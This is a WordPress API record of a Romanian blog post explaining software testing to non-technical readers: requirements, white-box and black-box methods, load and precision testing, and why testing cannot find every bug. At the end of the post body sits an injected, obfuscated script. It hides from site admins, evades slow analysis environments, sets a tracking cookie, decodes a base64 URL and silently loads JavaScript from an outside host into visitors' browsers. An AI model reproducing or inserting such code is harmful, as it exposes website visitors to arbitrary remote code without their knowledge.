{"id":4390,"date":"2017-02-21T13:12:38","date_gmt":"2017-02-21T11:12:38","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4390"},"modified":"2025-10-17T20:03:55","modified_gmt":"2025-10-17T17:03:55","slug":"din-carnetelul-de-notite-al-unui-software-tester-partea-1-ce-i-testarea","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/02\/din-carnetelul-de-notite-al-unui-software-tester-partea-1-ce-i-testarea\/","title":{"rendered":"Din carne\u0163elul de noti\u0163e al unui software tester. Partea 1: ce-i testarea?"},"content":{"rendered":"<div class=\"entry\">\n<p style=\"text-align: right;\"><span style=\"color: #800000;\"><em>Autorul are o\u00a0&#8220;vast\u0103 experien\u0163\u0103&#8221; de nici 3 ani de zile \u00een domeniu.<\/em><\/span><br \/>\n<span style=\"color: #800000;\"><em>Asta-i via\u0163a, dac\u0103 nimeni altcineva cu mai mult\u0103 autoritate<\/em><\/span><br \/>\n<span style=\"color: #800000;\"><em> nu se apuc\u0103 s\u0103 scrie .. scriu pufanii.<\/em><\/span><\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>Merg prin ora\u015f, interac\u0163ionez cu diver\u015fi oameni. Taximetri\u015fti. Chelneri. Necunoscu\u0163i.<\/p>\n<p style=\"text-align: justify;\">Ei m\u0103 \u00eentreab\u0103 unde lucrez. Iar eu le spun. Unde lucrez. \u015ei anume, c\u0103-s de meserie &#8220;<em>testator de programe<\/em>&#8220;, sau &#8220;<em>software tester<\/em>&#8221; \u00een englez\u0103 \u00een original. Iar oamenii se uit\u0103 la mine cu mirare, \u015fi m\u0103 \u00eentreab\u0103 mai timid sau mai curajos .. dom&#8217;le, dar ce-i testarea aia? Ce FACI mai exact?<\/p>\n<p style=\"text-align: justify;\">P\u0103i, hai s\u0103 l\u0103murim misterul, zic.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Pentru pu\u0163in context: testarea e vast\u0103. Oamenii scriu software, adic\u0103 programe pentru calculator. \u015ei nu doar pentru calculator. Miniaturizarea tehnologiei face ca ast\u0103zi s\u0103 avem un calculator \u00een buzunar (smartphone), c\u00e2teva zeci de calculatoare \u00een ma\u015fin\u0103 (ECU, senzori), diverse calculatoare \u00een\u00a0ma\u015fin\u0103riile din spitale, nu-\u015ftiu-c\u00e2te ma\u015fini de calcul \u00eentr-un avion, \u015famd.<\/p>\n<p style=\"text-align: justify;\">Toate ma\u015fin\u0103riile astea programabile pot avea erori de func\u0163ionare. Un programator prost poate face ca o ma\u015fin\u0103rie de iradiat pacien\u0163ii cu cancer s\u0103 primeasc\u0103 de 100x mai mult\u0103 radia\u0163ie dec\u00e2t e cazul (<a href=\"http:\/\/hackaday.com\/2015\/10\/26\/killed-by-a-machine-the-therac-25\/\">Therac 25<\/a>). Chestii de-astea <em>unthinkable<\/em>, de neimaginat.<\/p>\n<p style=\"text-align: justify;\">Toate domeniile mai serioase au nevoie de testare: \u015fi cel bancar, \u015fi cel medical, \u015fi avionica, \u015fi webul, \u015fi dezvoltatorii de jocuri. To\u0163i. F\u0103r\u0103 excep\u0163ie. Desigur, nu to\u0163i cu aceea\u015fi rigoare.\u00a0\u00cen domeniul medical, dac\u0103 nu testezi ri\u015fti s\u0103 omori oameni. Pe web, dac\u0103 nu testezi ri\u015fti s\u0103 pierzi datele bancare a milioane de oameni. Chiar \u015fi \u00een domeniile &#8220;sigure&#8221;, gen jocurile, necesit\u0103 testare pentru a nu scoate un c\u0103cat pe pia\u0163\u0103 &#8212; lumea nu cump\u0103r\u0103 c\u0103caturi, compania pierde milioanele de dolari investite, \u015famd.<\/p>\n<p style=\"text-align: justify;\">Eu unul am f\u0103cut testare \u00een automotive, chestie\u00a0de re\u0163inut ca un mic bias. Pot vorbi despre toate domeniile, dar n-o fac din postura de <em>insider<\/em>.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Pentru a \u00een\u0163elege testarea, trebuie s\u0103 spunem c\u00e2teva cuvinte despre programare.\u00a0Ciclul de via\u0163\u0103 al unui program \u00eencepe la nivel formal, c\u00e2nd cineva emite ni\u015fte cerin\u0163e &#8212; &#8220;b\u0103i, vreau un program care s\u0103 fac\u0103 ASTA \u015fi AIA \u015fi ou\u0103 pr\u0103jite pe l\u00e2ng\u0103&#8221;. Fie vine un client al companiei \u015fi cere ceva, fie \u00eens\u0103\u015fi compania \u00ee\u015fi propune s\u0103 creeze ceva nou; dar e clar c\u0103 acel <em>ceva<\/em> se bazeaz\u0103 pe ni\u015fte cerin\u0163e. Care gl\u0103suiesc l\u0103murit despre design, despre ce face produsul, despre cum face ceea ce face.<\/p>\n<p style=\"text-align: justify;\">Pe baza acestor instruc\u0163iuni se creeaz\u0103 chestii. Pentru web, pe baza cerin\u0163elor faci un sait \u015fi-i alegi g\u0103zduire. Pentru automotive, pe baza cerin\u0163elor alegi ni\u015fte hardware, pe care <em>apoi<\/em> te g\u00e2nde\u015fti ce program scrii, cum comunic\u0103 echipamentul \u0103sta cu exteriorul \u015famd.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Testarea programelor \u00eencepe prin a verifica cerin\u0163ele: b\u0103i, le putem citi \u015fi \u00een\u0163elege? Au sens? E clar din cerin\u0163e cam ce a vrut clientul? Este totul clar, sau exist\u0103 ambiguit\u0103\u0163i \u00een exprimare?\u00a0Arhitectura sistemului pare s\u0103 corespund\u0103 cu ce zice clientul c\u0103 dore\u015fte s\u0103 ob\u0163in\u0103? Dac\u0103 r\u0103spunsul este negativ la vreo por\u0163iune din cerin\u0163e, domeniul afectat de ambiguitate se marcheaz\u0103 ca ne-testabil.<\/p>\n<p style=\"text-align: justify;\">De ce zic c\u0103 lucrurile \u00eencep de la cerin\u0163e? P\u0103i, testarea este practic o compara\u0163ie \u00eentre <em>ceva<\/em> \u015fi <em>altceva<\/em>.<\/p>\n<p style=\"text-align: justify;\">Nu po\u0163i testa un scaun prin el \u00eensu\u015fi. \u00cel testezi compar\u00e2ndu-l cu cerin\u0163ele mai implicite sau mai explicite: E solid? E vopsit fain? E f\u0103cut din lemn de fag? Rezist\u0103 dac\u0103 se pune un tip de 200 de kilograme cu picioare pe el?<\/p>\n<p style=\"text-align: justify;\">Produsul finit, software-ul, este acel &#8220;<em>ceva<\/em>&#8221; din compara\u0163ie. Cerin\u0163ele sunt <em>altceva<\/em>-ul.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Lista metodelor prin care po\u0163i testa un program este o lung\u0103 \u015fi destul de seac\u0103 pentru oamenii nontehnici. Totu\u015fi, c\u00e2teva vorbe\u00a0se pot spune despre &#8220;ce&#8221; \u015fi &#8220;cum&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u00cen primul r\u00e2nd, se poate verifica softul, pus gol pe mas\u0103. White-box testing \u00een zice, adic\u0103 metoda &#8220;cutie transparent\u0103&#8221;. Ne uit\u0103m la codul-surs\u0103 \u015fi vedem\u00a0cum func\u0163ioneaz\u0103 el. Avem o instruc\u0163iune de decizie? P\u0103i verific\u0103m s\u0103 se poat\u0103 executa \u015fi instruc\u0163iunile pentru cazul c\u0103 decizia s-a luat, \u015fi pentru cazul c\u0103 decizia nu s-a luat.<\/p>\n<p style=\"text-align: justify;\">Se poate verifica \u015fi invers, pe principiul c\u0103 softul este o cutie neagr\u0103, &#8220;black box testing&#8221;. Nu ne intereseaz\u0103 m\u0103\u0163\u0103raia din spatele cutiei, ci cum reac\u0163ioneaz\u0103 cutia. Mi se d\u0103 manualul de utilizare, practic vorbind, iar eu testez ce pot face. Func\u0163ionalitate cu func\u0163ionalitate. Zice \u00een manual c\u0103 exist\u0103 un formular din care pot alege data na\u015fterii? Foarte bine, trimit for\u0163at serverului c\u0103 m-am n\u0103scut pe 1 Ianuarie 1830. \u015etie cu de-astea?<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Se mai testeaz\u0103 limitele func\u0163ionale. Dac\u0103 un server web trebuie s\u0103 poat\u0103 deservi 10000 de utilizatori simultan, se va supune unui test de \u00eenc\u0103rcare cu 15000 de conexiuni. Dac\u0103 o baz\u0103 de date trebuie s\u0103 suporte 1000000 de scrieri pe zi (un milion, da) &#8212; se vor scrie 2000000 de seturi de informa\u0163ii. Dac\u0103 softul de pe un senzor se execut\u0103 la fiecare 0,01s (la fiecare 10ms deci) &#8212; se ia osciloscopul \u015fi se verific\u0103 \u00eentr-adev\u0103r c\u0103 procesorul chiar execut\u0103 acel soft.<\/p>\n<p style=\"text-align: justify;\">Se testeaz\u0103 precizia. Dac\u0103 un senzor de pus pe ma\u015fin\u0103 promite c\u0103 poate m\u0103sura temperatura cu precizie de 0.1 grade Celsius, se ia \u015fi se bag\u0103 \u00eentr-un cuptor \u00eempreun\u0103 cu un termometru real, \u015fi se compar\u0103 rezultatele. Face \u00eentr-adev\u0103r senzorul diferen\u0163a dintre 60,1 \u015fi 60,2 grade? Dar \u00eentre 102,5 \u015fi 102,6 grade? Rezist\u0103 p\u00e2n\u0103 la 130 de grade, cum promite fabricantul? Nu \u00eencepe s\u0103 dea rateuri la temperaturi extreme?<\/p>\n<p style=\"text-align: justify;\">Se testeaz\u0103 validitatea algoritmilor. Dac\u0103 vrem s\u0103 citim date de la un convertor ADC ((Analog-to-Digital Converter.)), aplic\u00e2nd un filtru trece-jos, vom servi convertorul cu date din \u00eentregul spectru aplicabil, \u015fi vor verifica c\u0103 \u00eentr-adev\u0103r filtrul a eliminat ce era de eliminat. Se ia un set de date culese din realitate, se dau algoritmului, \u015fi se compar\u0103 rezultatul cu unul ideal.<\/p>\n<p style=\"text-align: justify;\">Se\u00a0alege CE se testeaz\u0103 \u00een mod dinamic. Erorile nu vin niciodat\u0103 singure. Dac\u0103 o func\u0163ionalitate calculeaz\u0103 ceva gre\u015fit, altele vor consuma date gre\u015fite. O axiom\u0103 bine-cunoscut\u0103 zice c\u0103 20% din codul-surs\u0103 poate genera p\u00e2n\u0103 la 80% din erorile descoperite.\u00a0Dac\u0103 la \u00eenceputul unui proiect pl\u0103nuim s\u0103 aloc\u0103m timp egal tuturor func\u0163ionalit\u0103\u0163ilor, odat\u0103 descoperite problemele mai mari e clar c\u0103 se poate face o re-prioritizare. Dup\u0103 care se dau la reparat erorile descoperite, programatorii creeaz\u0103 un nou <em>release<\/em> de software, \u015fi se reia testarea.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">S\u0103 fie clar: testarea nu face altceva dec\u00e2t s\u0103 identifice erori. Ea nu poate promite, \u00eens\u0103, c\u0103 <em>toate<\/em> erorile au fost descoperite. Poate .. doar dac\u0103 vorbim despre un soft trivial, care ruleaz\u0103 pe ceva hardware trivial, unde absolut toate varia\u0163iile posibile de date de intrare sunt testabile programatic.<\/p>\n<p style=\"text-align: justify;\">Sau, alternativ, dac\u0103 vorbim de un soft care a fost folosit at\u00e2t de extensiv \u00eenc\u00e2t toate erorile semnificative au fost descoperite. Genul softurilor built-in \u00een Linux, care prin rafinare ajung aproape de perfec\u0163iune. E totu\u015fi pernicioas\u0103 abordarea asta: eroarea numit\u0103 &#8220;Heartbleed&#8221; a supravie\u0163uit \u00een codul OpenSSL timp de vreo 2 ani \u00eenainte s\u0103 fie descoperit\u0103. Orice unealt\u0103 care prime\u015fte petice (<em>updates<\/em>) de orice fel poate deveni brusc mai vulnerabil\u0103 dec\u00e2t era \u00eenainte. Orice modificare a codului-surs\u0103, chiar dac\u0103 e f\u0103cut\u0103 pentru a petici ceva, poate introduce efecte colaterale pe care nu le observ\u0103 nimeni.<\/p>\n<p style=\"text-align: justify;\">Scopul test\u0103rii este strict s\u0103 dea o patin\u0103 de credibilitate softului. Cu alte cuvinte, &#8220;<em>noi am testat \u00een limitele de timp \u015fi de banii pe care ni i-a\u0163i dat&#8221;<\/em>. Dac\u0103 echipa de testori are la dispozi\u0163ie suficient timp, va face treab\u0103 decent\u0103. Dac\u0103-s min\u0163i str\u0103lucite, vor g\u0103si exact turma de erori logice care pot provoca cele mai multe erori. Dac\u0103 nu-s bani .. asta e, mai testeaz\u0103 \u015fi utilizatorul.\u00a0Foarte valid\u0103 abordare \u00een testarea jocurilor, unde versiunea &#8220;beta&#8221; \u00eenseamn\u0103 c\u0103 juc\u0103torii fac bug reports, iar dezvoltatorii fug cu extinctorul de la un bug la altul ((M\u0103 rog, \u00een accep\u0163iunea modern\u0103. Pe vremea mea nu era a\u015fa.)). Abordarea NU e valabil\u0103 \u00een avionic\u0103 :D<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>\u00cen articolul urm\u0103tor poate reu\u015fesc s\u0103 scriu de fapt\u00a0partea de &#8220;jurnal&#8221; a articolui \u0103sta.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Autorul are o\u00a0&#8220;vast\u0103 experien\u0163\u0103&#8221; de nici 3 ani de zile \u00een domeniu. Asta-i via\u0163a, dac\u0103 nimeni altcineva cu mai mult\u0103 autoritate nu se apuc\u0103 s\u0103 scrie .. scriu pufanii. ~*~ Merg prin ora\u015f, interac\u0163ionez cu diver\u015fi oameni. Taximetri\u015fti. Chelneri. Necunoscu\u0163i. Ei m\u0103 \u00eentreab\u0103 unde lucrez. Iar eu le spun. Unde lucrez. \u015ei anume, c\u0103-s de &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":{"0":"post-4390","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-jurnal","7":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4390","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4390"}],"version-history":[{"count":10,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4390\/revisions"}],"predecessor-version":[{"id":5053,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4390\/revisions\/5053"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4390"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4390"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4390"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}